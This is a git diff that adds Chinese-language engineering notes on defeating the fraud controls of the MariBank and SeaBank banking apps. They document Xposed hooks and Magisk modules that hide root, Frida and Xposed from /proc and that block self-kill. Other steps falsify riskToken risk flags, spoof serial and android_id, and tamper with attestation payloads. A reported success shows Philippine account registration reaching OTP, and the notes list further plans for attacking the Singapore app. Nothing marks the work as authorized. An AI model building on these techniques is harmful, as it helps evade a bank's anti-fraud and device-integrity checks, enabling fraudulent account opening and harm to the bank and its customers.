||||
```
|
||||
|
||||
**优先级最高的三步**:
|
||||
1. **PlayIntegrityFix** → 提升 Integrity 级别至 DEVICE(30 分钟)
|
||||
2. **干净机重放实验** → 验证根因(需干净机配合)
|
||||
3. **Frida spawn + RegisterNatives** → 定位 `vvuwuuvuu` 偏移 → Ghidra 分析明文结构
|
||||
|
||||
*2026-07-06 17:05 SGT*
|
||||
256
docs/MariBank_2026-07-06_菲律宾突破.md
Normal file
256
docs/MariBank_2026-07-06_菲律宾突破.md
Normal file
@@ -0,0 +1,256 @@
|
||||
# MariBank 菲律宾注册突破 & 新加坡现状(2026-07-06)
|
||||
|
||||
> **设备**:Pixel 6(`1C081FDF600K5Q`)· Magisk 30.7 + Zygisk + LSPosed
|
||||
> **结论**:**菲律宾 SeaBank 已能发 OTP**;**新加坡 MariBank 仍 3100012**
|
||||
> **关联**:[`MariBank实现说明.md`](MariBank实现说明.md) · [`MariBank新加坡逆向.md`](MariBank新加坡逆向.md)
|
||||
|
||||
---
|
||||
|
||||
## 1. 结果一览
|
||||
|
||||
| 地区 | 包名 | API | 注册结果 | 错误码 |
|
||||
|------|------|-----|----------|--------|
|
||||
| **菲律宾** | `ph.seabank.seabank` | `https://api.seabank.ph` | ✅ **成功 → OTP 短信** | `code=0` |
|
||||
| **新加坡** | `sg.com.maribankmobile.digitalbank` | `https://api.maribank.com.sg` | ❌ 仍失败 | **3100012** |
|
||||
|
||||
**关键意义**:同一台 Root 机、同一套 Xposed + Magisk 伪装下,**PH 服务端已放行注册**,说明 Hook 链与 attestation 载荷 **对 PH 有效**;SG 失败更可能是 **区域风控策略差异** 或 **SG 侧设备黑名单**,而非「Root bypass 完全无效」。
|
||||
|
||||
---
|
||||
|
||||
## 2. 测试环境
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| 手机 | Google Pixel 6(oriole) |
|
||||
| Root | Magisk **30.7**(`MAGISK:R`) |
|
||||
| Magisk 模块 | `maribank_device_spoof`、`zygisk_shamiko`、`playintegrityfix`、`zygisk_vector` |
|
||||
| DenyList | MariBank PH/SG 均已加入;**Enforce DenyList = OFF**(Shamiko 要求) |
|
||||
| LSPosed 模块 | `com.miraclegarden.smsmessage.xposed` |
|
||||
| LSPosed 作用域 | `ph.seabank.seabank`、`sg.com.maribankmobile.digitalbank` 等 |
|
||||
| 伪装 serial | `Y1Rr2fxhOI0ZCQSb`(resetprop + Magisk 模块) |
|
||||
| 伪装 android_id | `87ec910ab5d6f423` |
|
||||
| 对照干净机 | `25078RA3EY`:关 USB 调试可进 SG OTP(无 LSPosed) |
|
||||
|
||||
---
|
||||
|
||||
## 3. 菲律宾突破 — log 证据(2026-07-06 13:40)
|
||||
|
||||
### 3.1 第一次 register(step=BE)
|
||||
|
||||
```text
|
||||
POST https://api.seabank.ph/uapi/v2/register
|
||||
```
|
||||
|
||||
加密前明文(`MariBankEncrypt in0 byte[1180]`)核心字段:
|
||||
|
||||
```json
|
||||
{
|
||||
"cyCode": "63",
|
||||
"phone": "<RSA 加密>",
|
||||
"rdVerifyInfo": {
|
||||
"bioStatus": 0,
|
||||
"data": "tPNHr/0eZzaPXs9oimvMNVWI/...",
|
||||
"dataKey": "H/A6AqA8NhXZoaL0alG5VGRovcfuJykY92U...",
|
||||
"deviceFingerprint": "jrKyNF/Fx4gcnzVpf1u9bw==|WJMksio9SaKKuyk1KMSilUGivdF+SHbqjB+aL65fucQcOCdojhBN3GKoY58sxVomiCfi5w==|TXeh8FyEf/8qHdAS|00|0",
|
||||
"afExtInfo": { "modeInCall": "N", "modeInCommunication": "N", "modeCallScreening": "N" }
|
||||
},
|
||||
"scene": "REGISTRATION",
|
||||
"step": "BE",
|
||||
"source": "app"
|
||||
}
|
||||
```
|
||||
|
||||
服务端响应:
|
||||
|
||||
```json
|
||||
{"code":0,"msg":"success","data":{"scene":"REGISTRATION","step":"BSO","tranId":"7f21098a-2113-40fb-bb6a-e2e651460f53",...}}
|
||||
```
|
||||
|
||||
### 3.2 第二次 register(OTP 触发,step=BSO)
|
||||
|
||||
```json
|
||||
{
|
||||
"cyCode": "63",
|
||||
"rdVerifyInfo": {
|
||||
"action": "OTP_SMS_TRIGGER",
|
||||
"deviceFingerprint": "jrKyNF/...|00|0",
|
||||
"operationId": "61f9bcc6-dc0c-4f3d-8566-e1d3dc02653f1783316458430"
|
||||
},
|
||||
"scene": "REGISTRATION",
|
||||
"step": "BSO",
|
||||
"tranId": "7f21098a-2113-40fb-bb6a-e2e651460f53"
|
||||
}
|
||||
```
|
||||
|
||||
响应仍为 **`code=0`** → **App 可发验证码**。
|
||||
|
||||
### 3.3 与 7 月 3 日对比
|
||||
|
||||
| 日期 | PH register | 说明 |
|
||||
|------|-------------|------|
|
||||
| 2026-07-03 | ❌ 4067012 | 仅 riskToken 尾部净化,无加密前 Hook |
|
||||
| 2026-07-06 | ✅ code=0 → OTP | 加密前 Hook + Attestation Hook + 方案 B 换 ID + Shamiko |
|
||||
|
||||
---
|
||||
|
||||
## 4. 新加坡仍失败 — log 证据
|
||||
|
||||
### 4.1 典型失败(11:50,换 ID 前)
|
||||
|
||||
```text
|
||||
POST https://api.maribank.com.sg/uapi/v2/register
|
||||
→ {"code":3100012,"msg":"Unexpected error occurred. Please try again later. "}
|
||||
```
|
||||
|
||||
加密前 `deviceFingerprint` 示例:
|
||||
|
||||
```text
|
||||
X4Ln9cRV1v6aabPt4Ymnqw==|RmdlV34wu8nk8n9nj9A+32Z0BjF/29py3UVnqGWHBJRj5HuTmmOPX+pfJWkZBOn/n41pYw==|3ailMzmgCFzRDFGv|00|0
|
||||
```
|
||||
|
||||
尾部 `\|00\|0` 已净化,**仍 3100012**。
|
||||
|
||||
### 4.2 SG 错误码含义(推断)
|
||||
|
||||
| 码 | 地区 | 文案 |
|
||||
|----|------|------|
|
||||
| 4067012 | PH | For your account's security, temporarily blocked... |
|
||||
| 3100012 | SG | Unexpected error occurred. Please try again later. |
|
||||
|
||||
同属 **服务端风控拒绝**,非本地 Root 弹窗。
|
||||
|
||||
---
|
||||
|
||||
## 5. 已实现的 bypass 架构
|
||||
|
||||
### 5.1 分层模型
|
||||
|
||||
```
|
||||
客户端本地层 服务端层
|
||||
───────────────── ─────────────────
|
||||
SafeMode Root 弹窗/自杀 → (不决定 OTP,只决定能否进 App)
|
||||
SG ADB 全屏拦截页 →
|
||||
SHPSSDK assessRisk → 解密 rdVerifyInfo.data/dataKey
|
||||
riskToken / deviceFingerprint → 查 deviceHash 黑名单
|
||||
Magisk resetprop 换 serial → 区域策略(PH 松 / SG 严)
|
||||
```
|
||||
|
||||
### 5.2 Xposed 模块文件
|
||||
|
||||
| 文件 | 作用 |
|
||||
|------|------|
|
||||
| `MariBankRootBypassHook.java` | SafeMode、SHPSSDK、ADB Settings、OkHttp 日志、4067/3100012 记录 |
|
||||
| `MariBankShpsNativeHook.java` | `/proc` 过滤、SystemProperties、requestDefense 净化(不再 block) |
|
||||
| `MariBankSdkUtilsHook.java` | 加密前 Hook `utils.d` / `uvwuvwuv` / Gson |
|
||||
| `MariBankRegisterPayloadUtil.java` | `scene=REGISTRATION` JSON 净化 |
|
||||
| `MariBankAttestationHook.java` | native 桥 attestation 链 + 环境探测拦截 |
|
||||
| `MariBankRiskTokenUtil.java` | riskToken 尾部 `\|09\|1` → `\|00\|0` |
|
||||
|
||||
### 5.3 方案 B:Magisk 设备 ID 伪装
|
||||
|
||||
路径:`scripts/magisk/maribank-device-spoof/`
|
||||
|
||||
| 脚本 | 时机 | 内容 |
|
||||
|------|------|------|
|
||||
| `post-fs-data.sh` | 早期启动 | `resetprop` serial、boot 属性、关 adb 属性 |
|
||||
| `service.sh` | 开机完成后 | 写入新 `Settings.Secure.android_id` |
|
||||
|
||||
PC 一键:
|
||||
|
||||
```powershell
|
||||
.\scripts\maribank-spoof-device.ps1 # 一次性 resetprop
|
||||
.\scripts\maribank-spoof-device.ps1 -InstallModule # 安装持久模块
|
||||
.\scripts\maribank-scheme-b-finish.ps1 # LSPosed 作用域 + pm clear
|
||||
```
|
||||
|
||||
### 5.4 Shamiko 配置要点
|
||||
|
||||
1. Magisk → 开启 **Zygisk**
|
||||
2. **Configure DenyList** 开启 → 勾选 MariBank PH/SG 全部进程
|
||||
3. **Enforce DenyList 必须关闭**(否则 Shamiko 不生效)
|
||||
4. 安装 **Shamiko** 模块并重启
|
||||
|
||||
---
|
||||
|
||||
## 6. 为何 PH 能过、SG 不过(推断)
|
||||
|
||||
> **详细展开**(菲律宾真实原因、`afExtInfo`、USB 调试与 Hook):见 [`MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md) §4–§5。
|
||||
|
||||
| 维度 | PH ✅ | SG ❌ |
|
||||
|------|-------|-------|
|
||||
| 同一 deviceFingerprint 结构 | 有,尾部 `\|00\|0` | 有,尾部 `\|00\|0` |
|
||||
| `data`/`dataKey` attestation | 服务端接受 | 服务端拒绝(3100012) |
|
||||
| 测试次数 / 黑名单 | 较少失败记录 | Pixel 6 多次测 SG 注册 |
|
||||
| API 风控强度 | 当日实测 **通过** | 当日实测 **拒绝** |
|
||||
| 干净机对照 | 未详测 PH | 25078RA3EY 关 ADB 可 OTP |
|
||||
|
||||
**结论**:
|
||||
|
||||
1. **改 riskToken 尾部 alone 不够**,但加上 **加密前 Hook + Shamiko + 换 ID** 后 **PH 足够**。
|
||||
2. SG 可能在 attestation 解密后仍有 **更严规则**(Play Integrity、设备信誉、区域黑名单)。
|
||||
3. PH 成功 **不能** 直接类推 SG;需 **diff 两次 register 明文** 或 **换未测过 SG 的环境** 再试。
|
||||
|
||||
---
|
||||
|
||||
## 7. 已知问题与踩坑
|
||||
|
||||
| 问题 | 现象 | 处理 |
|
||||
|------|------|------|
|
||||
| Gson Hook 误报 | i18n 文案含 "register" 刷屏 | 已改为只匹配 `scene=REGISTRATION` |
|
||||
| `requestDefense` 被 block | 缺 `x-sap-fixme` | 已改为执行后净化,不 block |
|
||||
| ProcessBuilder 抛异常 | `which su` → SecurityException | **待修**:应返回空进程而非抛异常 |
|
||||
| Magisk zip 在 Windows 打包 | 只解压 module.prop | 用 `tar -a -cf` 或 adb 手动 push sh |
|
||||
| 关 USB 调试后 adb 断开 | 收尾脚本卡住 | `maribank-scheme-b-finish.ps1` 已加 60s 超时 |
|
||||
| Attest native Hook 命中少 | 仅 8 个 hook | `data`/`dataKey` 仍未在 native 层改写 |
|
||||
|
||||
### 禁止操作(会导致白屏/崩溃)
|
||||
|
||||
- Hook `System.loadLibrary`(SG RN 崩溃)
|
||||
- Hook `RealInterceptorChain.proceed`
|
||||
- 过早 Hook `ShpssInstall` / `vuvuwwwuw`
|
||||
|
||||
---
|
||||
|
||||
## 8. 常用命令
|
||||
|
||||
```powershell
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
|
||||
# 构建安装
|
||||
.\scripts\build-debug.ps1
|
||||
.\scripts\install-debug.ps1
|
||||
|
||||
# 抓注册 log(先 logcat -c,再点 Next)
|
||||
& $adb logcat -d | Select-String "MariBankEncrypt in0 byte\[1|MariBankRoot HTTP.*register|3100012|4067012|OTP_SMS"
|
||||
|
||||
# 验证伪装 ID
|
||||
& $adb shell su -c "getprop ro.serialno; settings get secure android_id"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. 新加坡后续建议
|
||||
|
||||
1. **用 PH 成功时的同一环境** 测 SG:关 USB 调试、`pm clear` SG 包、冷启动
|
||||
2. **diff PH vs SG** 加密前 register JSON(`deviceFingerprint` 段、`data` 长度与字段)
|
||||
3. 修复 **ProcessBuilder** 不抛异常,避免 SHPSSDK 检测 tamper
|
||||
4. 若仍 3100012:考虑 **未测过 SG 的干净机** 或 **native hook `libshpssdk_bank.so`**
|
||||
5. 菲律宾侧:继续走完 **OTP → 开户** 验证全流程稳定性
|
||||
|
||||
---
|
||||
|
||||
## 10. 相关文档
|
||||
|
||||
| 文档 | 说明 |
|
||||
|------|------|
|
||||
| [`MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md) | **register 字段、afExtInfo、USB 调试、PH 真实原因、Xposed/LSPosed** |
|
||||
| [`手机操作手册.md`](手机操作手册.md) | **Root 机部署、LSPosed、日常操作、抓 log** |
|
||||
| [`Hook指南.md`](Hook指南.md) | Xposed/LSPosed 概念、Telegram Hook、扩展 App |
|
||||
| [`MariBank实现说明.md`](MariBank实现说明.md) | PH Hook 实现细节(含 7/3 失败记录,已追加 7/6 突破) |
|
||||
| [`MariBank新加坡逆向.md`](MariBank新加坡逆向.md) | SG 逆向与 ADB 检测 |
|
||||
| [`MariBank新加坡突破.md`](MariBank新加坡突破.md) | **SG 3100012 突破计划与测试流程** |
|
||||
| [`工作日志_2026-07-03.md`](工作日志_2026-07-03.md) | 7/3 工作记录 |
|
||||
|
||||
---
|
||||
|
||||
*记录日期:2026-07-06 · 最后更新:文档体系整理(操作手册 + 风控载荷说明)*
|
||||
588
docs/MariBank实现说明.md
Normal file
588
docs/MariBank实现说明.md
Normal file
@@ -0,0 +1,588 @@
|
||||
# MariBank 实现说明与问题记录
|
||||
|
||||
> **日期**:2026-07-03(**2026-07-06 更新:PH 注册已成功发 OTP**,见 [`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md))
|
||||
> **App**:MariBank / SeaBank PH · `ph.seabank.seabank` · v3.22.0 (32200)
|
||||
> **设备**:Pixel 6 · Magisk + Zygisk + LSPosed + Shamiko
|
||||
> **源码**:`xposed-module/.../hook/MariBank*.java`
|
||||
|
||||
本文档专门说明当日对 MariBank **注册流程风控绕过** 的 Xposed 实现细节,以及开发/测试中遇到的全部主要问题。通用工作汇总见 [`工作日志_2026-07-03.md`](工作日志_2026-07-03.md)。
|
||||
|
||||
---
|
||||
|
||||
## 1. 目标与结果概览
|
||||
|
||||
### 1.1 目标
|
||||
|
||||
在已 Root 设备上完成:
|
||||
|
||||
```
|
||||
打开 App → Sign up → 输入菲律宾手机号 → Next
|
||||
→ POST https://api.seabank.ph/uapi/v2/register
|
||||
→ 进入 OTP / 下一步
|
||||
```
|
||||
|
||||
### 1.2 最终结果(2026-07-06 更新)
|
||||
|
||||
|
||||
| 阶段 | 2026-07-03 | **2026-07-06** |
|
||||
| -------------------- | ---------- | -------------- |
|
||||
| 本地 Root 检测 / 自杀 / 弹窗 | **大部分绕过** | ✅ 稳定 |
|
||||
| DFP 设备指纹上报 | **成功** `code=0` | ✅ |
|
||||
| riskToken 尾部净化 | ✅ Hook 生效 | ✅ |
|
||||
| 加密前 register 明文 | ❌ 未抓到 | ✅ `MariBankSdkUtilsHook` |
|
||||
| 注册接口 PH | ❌ **4067012** | ✅ **`code=0` → OTP(BSO)** |
|
||||
| 注册接口 SG | — | ❌ **3100012**(见 SG 文档) |
|
||||
|
||||
**结论(2026-07-06)**:在 Pixel 6 + Shamiko + 方案 B 换 ID + 全套 Hook 下,**菲律宾 SeaBank 注册已通过服务端校验并可发验证码**;新加坡 MariBank 仍被拒。详见 [`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md)。
|
||||
|
||||
### 1.2.1 当日最终结果(2026-07-03 历史记录,已被 7/6 突破)
|
||||
|
||||
|
||||
| 阶段 | 结果 |
|
||||
| -------------------- | -------------------------------------- |
|
||||
| 本地 Root 检测 / 自杀 / 弹窗 | **大部分绕过**,可稳定进入注册页 |
|
||||
| DFP 设备指纹上报 | **成功**(`code=0`) |
|
||||
| riskToken 尾部字段净化 | **Hook 生效**(`\|09\|1` → `\|00\|0`) |
|
||||
| 注册接口 | **失败**,服务端返回 **4067012** / **4067004** |
|
||||
| 注册请求明文 | **未抓到**(body native 加密) |
|
||||
|
||||
|
||||
**结论(2026-07-03)**:本地层 bypass 已推进到能正常发起注册请求,但 **服务端风控仍拒绝**。
|
||||
|
||||
---
|
||||
|
||||
## 2. App 风控架构(逆向结论)
|
||||
|
||||
MariBank 基于 Shopee BKE 技术栈,风控分 **本地 SDK 层** 与 **服务端校验层**。
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ MariBank App │
|
||||
├─────────────────────────────────────────────────────────┤
|
||||
│ SafeMode SDK │ Root/篡改检测 → Toast + 自杀 │
|
||||
│ SHPSSDK (bank) │ riskToken / DFP / requestDefense │
|
||||
│ libshpssdk_bank.so │ native:/proc/maps、hook 库扫描 │
|
||||
│ libsdkutils.so │ register body native 加密 │
|
||||
├─────────────────────────────────────────────────────────┤
|
||||
│ OkHttp / Retrofit │ 出站 HTTP │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
│ │
|
||||
▼ ▼
|
||||
POST /dfp/v1/data/report POST /uapi/v2/register
|
||||
(设备指纹 + riskToken) (加密 body + 手机号)
|
||||
│ │
|
||||
└────────── api.seabank.ph ────┘
|
||||
│
|
||||
4067012 服务端拒绝
|
||||
```
|
||||
|
||||
### 2.1 关键类与 SO(v3.22.0)
|
||||
|
||||
|
||||
| 组件 | 真实符号 | 说明 |
|
||||
| ----------- | ------------------------------------------- | ------------------------------------------------- |
|
||||
| Application | `com.shopee.bke.digitalbank.BkeApplication` | `attachBaseContext` 后 ClassLoader 才完整 |
|
||||
| SafeMode | `com.shopee.bke.lib.safemode.b` 等 | 方法名混淆,多返回 `boolean`/`int` |
|
||||
| SHPSSDK | `com.shopee.shpssdkbank.SHPSSDK` | `getRiskToken` / `getRiskSync` / `requestDefense` |
|
||||
| riskToken 链 | `vvuuuuvvv.wwvuwuwvu(Context)` | classes11.dex,真实 token 生成入口 |
|
||||
| SoUtils | `com.shopee.bke.lib.jni.utils.f` | 加载 `libsdkutils.so`,log tag `SoUtils` |
|
||||
| 加密包装 | `com.shopee.bke.lib.jni.utils.d` | Java 层加密入口 |
|
||||
| Native 加密 | `com.shopee.bke.lib.jni.utils.uvwuvwuv` | JNI,`libsdkutils.so` / `libbkutils.so` |
|
||||
| SHPS native | `wvvvuwwu.vvuwuuvuu` → `wwvwvwuvv` | `libshpssdk_bank.so` |
|
||||
| 字符串解密 | `uvuwwuvwv.uvwwuuvvw.uvuwwwuwu` | 解密 `x-sap-fixme` 等 |
|
||||
|
||||
|
||||
### 2.2 注册相关 API
|
||||
|
||||
|
||||
| 接口 | 作用 | 当日观测 |
|
||||
| -------------------------- | ------------- | ---------------- |
|
||||
| `POST /dfp/v1/data/report` | 设备指纹 / DFP 上报 | **成功** `code=0` |
|
||||
| `POST /uapi/v2/register` | 手机号注册 | **失败** `4067012` |
|
||||
|
||||
|
||||
### 2.3 riskToken 格式(尾部字段)
|
||||
|
||||
token 为 pipe 分隔字符串,**最后两段**表示风险标记,例如:
|
||||
|
||||
```text
|
||||
...Base64段|Base64段|xx|09|1
|
||||
↑ ↑
|
||||
风险码 Hook/Root 等标志
|
||||
```
|
||||
|
||||
当日 Hook 将尾部 `09|1` 改为 `00|0`(认为表示 Root + Hook 命中)。logcat 可见净化日志,但 **register 仍被拒**,说明服务端还校验 token 其他段或独立 DFP 载荷。
|
||||
|
||||
### 2.4 登录 vs 注册(当日未测登录,以下为逆向 + 推断)
|
||||
|
||||
当日实测路径为 **Sign up → 注册**;**Log in 登录尚未在设备上验证**。以下基于 APK 字符串扫描与 Hook 架构整理。
|
||||
|
||||
#### 2.4.1 现有 Hook 是否覆盖登录
|
||||
|
||||
**是。** 当前 Xposed 按 **整包** `ph.seabank.seabank` 加载,不区分注册/登录:
|
||||
|
||||
| 能力 | 登录是否同样生效 |
|
||||
|------|------------------|
|
||||
| SafeMode / Root 自杀、弹窗拦截 | ✅ |
|
||||
| SHPSSDK / riskToken、deviceToken 出站净化 | ✅ 所有 OkHttp 请求 |
|
||||
| DFP `POST /dfp/v1/data/report` | ✅ App 启动即上报 |
|
||||
| `/proc` 过滤、boot 属性伪装 | ✅ |
|
||||
|
||||
**无需为登录单独写 Hook**;能稳定进入 App,登录页同样受益。
|
||||
|
||||
#### 2.4.2 API 路径不同
|
||||
|
||||
登录 **不走** `/uapi/v2/register`,而是独立 auth 链路(v3.22.0 base APK DEX 扫描):
|
||||
|
||||
| 场景 | 典型路径 |
|
||||
|------|----------|
|
||||
| **注册(已实测)** | `POST /uapi/v2/register` |
|
||||
| **登录预检** | `/v2/auth/precheck`、`/v1/pin/auth/precheck` |
|
||||
| **OTP 登录** | `/v2/app/login/otp/get`、`/v2/app/login/otp/verify` |
|
||||
| **PIN 登录** | `/v1/pin/auth` |
|
||||
| **受限环境** | `/v2/restricted/auth`、`/v2/restricted/auth/precheck` |
|
||||
| **通用 OTP** | `/v1/otp/send`、`/v1/otp/verify` |
|
||||
| **设备指纹(共用)** | `POST /dfp/v1/data/report` |
|
||||
|
||||
ViewModel 层面:`RegisterViewModel` 与 `LoginViewModel` / `PinCodeViewModel` / `OneTimePasswordViewModel` 分离;**`PhoneNumViewModel` 可能与注册共用**(输入手机号 UI 类似)。
|
||||
|
||||
错误展示由 `GlobalAuthErrorImpl` 等 **通用鉴权错误处理** 负责(`matchScene` 多场景),4067 封锁弹窗 **不限于注册接口**。
|
||||
|
||||
#### 2.4.3 登录可能的结果(推断)
|
||||
|
||||
| 情况 | 登录表现(推断) |
|
||||
|------|------------------|
|
||||
| **设备指纹已被服务端拉黑** | 可能在 `/v2/auth/precheck` 或 `/v2/app/login/otp/get` 即返回 **4067012**,与注册类似 |
|
||||
| **仅「新开户」风控更严** | 若设备未全局封禁,**已有账户 + 正确 PIN/OTP** 的登录 **有机会** 通过 precheck |
|
||||
| **本地 bypass 足够、服务端仍拒** | DFP `code=0` 但 auth 接口 4067 — 与注册相同,改 riskToken 尾部 **不够** |
|
||||
|
||||
#### 2.4.4 注册 vs 登录对比
|
||||
|
||||
| 维度 | 注册 (Sign up) | 登录 (Log in) |
|
||||
|------|----------------|---------------|
|
||||
| 前提 | 新菲律宾手机号 | **已有 MariBank 账户** + PIN 或 OTP |
|
||||
| 关键 API | `/uapi/v2/register` | `/v2/auth/precheck`、`/login/otp/*`、`/pin/auth` |
|
||||
| 风控强度 | 新户反欺诈通常 **更严** | 老户相对松,**设备黑名单仍生效** |
|
||||
| 当日实测 | ❌ 4067012 | ❓ **未测** |
|
||||
| Hook 专用日志 | 代码中对 `/register` 有较详细 body 日志 | 其它 URL 仅有通用 HTTP / 4067 日志 |
|
||||
|
||||
#### 2.4.5 若改测登录
|
||||
|
||||
1. 选 **Log in**(非 Sign up),输入 **已开户** 手机号
|
||||
2. logcat:`powershell -File scripts\logcat-maribank.ps1 -Follow`
|
||||
3. 重点观察:`/v2/auth/precheck`、`/v2/app/login/otp/get`、`/v1/pin/auth`、`/dfp/v1/data/report` 的响应码
|
||||
4. 若仍为 **4067012** → 倾向 **设备/环境级封锁**,换登录路径无法绕过
|
||||
5. 若 precheck 通过、仅 OTP/PIN 失败 → 多为 **账户凭证** 问题,非 Root bypass 范畴
|
||||
|
||||
多次注册失败可能已加重设备风控,登录测试前建议 **冷却 24–48h** 或使用未试过的环境。
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 3. Xposed 实现架构
|
||||
|
||||
### 3.1 入口与加载顺序
|
||||
|
||||
`MainHook.java` 对 `ph.seabank.seabank` 加载两个 Hook 类:
|
||||
|
||||
```java
|
||||
MariBankShpsNativeHook.install(lpparam); // 第一阶段:early
|
||||
MariBankRootBypassHook.install(lpparam); // 第一阶段 + 调度 deferred
|
||||
```
|
||||
|
||||
**两阶段加载**是当日最关键的工程决策之一:
|
||||
|
||||
|
||||
| 阶段 | 时机 | 安装内容 |
|
||||
| ------------ | ----------------------------------------- | ------------------------------------------- |
|
||||
| **Early** | `loadPackage` 立即 | `/proc` 读过滤、系统属性伪装、`Process.killProcess` 拦截 |
|
||||
| **Deferred** | `BkeApplication.attachBaseContext` **之后** | SafeMode、SHPSSDK、OkHttp 出站净化、riskToken Hook |
|
||||
|
||||
|
||||
**原因**:过早 Hook SHPSSDK / `SoUtils.loadSoLibrary` 会导致 `**libsdkutils.so` 加载死循环 → 白屏**(见 §5.2)。
|
||||
|
||||
### 3.2 文件职责
|
||||
|
||||
|
||||
| 文件 | 职责 |
|
||||
| ----------------------------- | --------------------------------------------------------------------- |
|
||||
| `MariBankShpsNativeHook.java` | Native 层检测绕过:`/proc/self/maps` 过滤、boot 属性伪装、Build 字段、`requestDefense` |
|
||||
| `MariBankRootBypassHook.java` | Java 层:SafeMode、SHPSSDK risk、OkHttp 出站净化、弹窗/自杀拦截、4067 日志 |
|
||||
| `MariBankRiskTokenUtil.java` | riskToken / deviceToken 尾部净化工具类 |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 4. 实现细节(按模块)
|
||||
|
||||
### 4.1 反自杀与反「假闪退」(`MariBankRootBypassHook`)
|
||||
|
||||
**问题背景**:SafeMode 检测到 Root 后会 `Toast` + `Process.killProcess` + `Activity.finishAffinity`,表现为闪退。
|
||||
|
||||
**实现**:
|
||||
|
||||
1. Hook `Process.killProcess(self)`、`System.exit` → 直接拦截
|
||||
2. Hook `Activity.finish` / `finishAffinity` / `finishAndRemoveTask` / `moveTaskToBack`
|
||||
- 在 **8 秒宽限期**内(`SOFT_CRASH_GUARD_MS`)阻止 BKE 相关 Activity 被风控栈关闭
|
||||
- 通过栈追踪识别 `safemode` / `shpssdk` / `errorcodehandler` 等调用来源
|
||||
- **保留用户按返回键**(`isUserBackNavigation()`)
|
||||
3. 拦截 Root 相关 Toast 文案(`rooted or jailbroken`、`magisk/xposed/frida` 等)
|
||||
|
||||
**logcat 典型输出**:
|
||||
|
||||
```text
|
||||
notiMessageHook/MariBankRoot: blocked killProcess(self)
|
||||
notiMessageHook/MariBankRoot: blocked finishAffinity on com.shopee.bke...
|
||||
```
|
||||
|
||||
### 4.2 SafeMode 检测绕过
|
||||
|
||||
**目标类**(方法名混淆,无法按名 Hook):
|
||||
|
||||
- `com.shopee.bke.lib.safemode.b`
|
||||
- `com.shopee.bke.lib.safemode.catchs.a`
|
||||
- `com.shopee.bke.lib.safemode.util.c`
|
||||
- `com.shopee.bke.biz.base.risk.a`
|
||||
|
||||
**策略**:Hook 所有 **非 static、参数 ≤2、返回 boolean/int** 的实例方法,统一返回 `false` / `0`。
|
||||
|
||||
**弹窗**:Hook `SafeModeRecoverActivity` 相关 Dialog / AlertDialog.show,阻止 Root 提示框。
|
||||
|
||||
### 4.3 SHPSSDK 风控(Java 层)
|
||||
|
||||
**boolean 检测类**:
|
||||
|
||||
- `com.shopee.shpssdkbank.SPSAssessRisk`
|
||||
- `com.shopee.shpssdk.SPSAssessRisk`
|
||||
|
||||
**Token 相关 Hook**(`hookShpsToken`):
|
||||
|
||||
|
||||
| 方法 | 处理 |
|
||||
| ------------------------------------ | -------------------------------------------------- |
|
||||
| `getRiskSync` / `getRiskAsync` | 返回 **空 risk 列表**,避免 `RISK_ROOT=1`、`RISK_HOOK=4` 写入 |
|
||||
| `getRiskToken` / `getRiskTokenAsync` | 返回值经 `MariBankRiskTokenUtil.sanitizeRiskToken` |
|
||||
| `vvuuuuvvv.wwvuwuwvu(Context)` | 真实 token 生成链,最早出口净化 |
|
||||
| `getSecData` 等 | 字符串返回值净化 |
|
||||
|
||||
|
||||
**RISK 常量(逆向)**:`RISK_ROOT=1`,`RISK_HOOK=4` 等会编码进 token 尾部。
|
||||
|
||||
### 4.4 Native 层检测绕过(`MariBankShpsNativeHook`)
|
||||
|
||||
`**/proc` 过滤**:
|
||||
|
||||
- Hook `FileInputStream` / `BufferedReader` / `RandomAccessFile`
|
||||
- 对 `/proc/self/maps`、`/proc/version`、`/proc/self/status` 等读结果 **过滤敏感行**
|
||||
- 隐藏 marker:`xposed`、`lsposed`、`magisk`、`frida`、`zygisk`、`miraclegarden` 等
|
||||
|
||||
**Boot / 环境伪装**:
|
||||
|
||||
- `SystemProperties.get` 伪装 `ro.boot.verifiedbootstate`、`ro.boot.vbmeta.device_state` 等
|
||||
- `Build` 字段、`/proc/self/attr/current` → 伪造 SELinux 上下文
|
||||
|
||||
**SHPS native 桥**:
|
||||
|
||||
- `requestDefense` → 解密/处理 `x-sap-fixme` 请求头
|
||||
- `hookShpsNativeCore` → native 桥接类 boolean 返回 false
|
||||
|
||||
**刻意不 Hook**:
|
||||
|
||||
```java
|
||||
// MariBankShpsNativeHook.hookShpssInstall()
|
||||
// 勿 Hook ShpssInstall / vuvuwwwuw:会干扰 SoUtils.loadSoLibrary,导致 libsdkutils.so 死循环白屏。
|
||||
```
|
||||
|
||||
### 4.5 网络出站净化(OkHttp 链)
|
||||
|
||||
因 **不能 Hook `RealInterceptorChain.proceed`**(SO 硬编码检测),改为在更外层拦截:
|
||||
|
||||
|
||||
| Hook 点 | 作用 |
|
||||
| -------------------------------------- | ------------------- |
|
||||
| `OkHttpClient.newCall` | 替换 `Request` 为净化版 |
|
||||
| `RealCall.execute` / `enqueue` | 同上 |
|
||||
| `Request.Builder.build` / `post(body)` | body 写入时净化 |
|
||||
| `RequestBody.writeTo` | 写出字节时净化 |
|
||||
| `Gson.toJson` / `fromJson` | JSON 中 riskToken 字段 |
|
||||
| `JSONObject.put("riskToken", ...)` | 直接改字段 |
|
||||
| `Response.request().url()` | 记录 URL,关联 4067 响应 |
|
||||
|
||||
|
||||
**净化逻辑**(`MariBankRiskTokenUtil`):
|
||||
|
||||
- 正则匹配 pipe-token 尾部 `\d+\|\d+` → 改为 `00|0`
|
||||
- JSON 字段 `"riskToken"` / `"deviceToken"` 同步处理
|
||||
|
||||
**register body 日志**:
|
||||
|
||||
```text
|
||||
register request body unreadable (encrypted or one-shot)
|
||||
```
|
||||
|
||||
说明 register 的 body 在 Java 层已是 **加密或一次性 RequestBody**,无法直接读明文。
|
||||
|
||||
### 4.6 错误码与弹窗监控
|
||||
|
||||
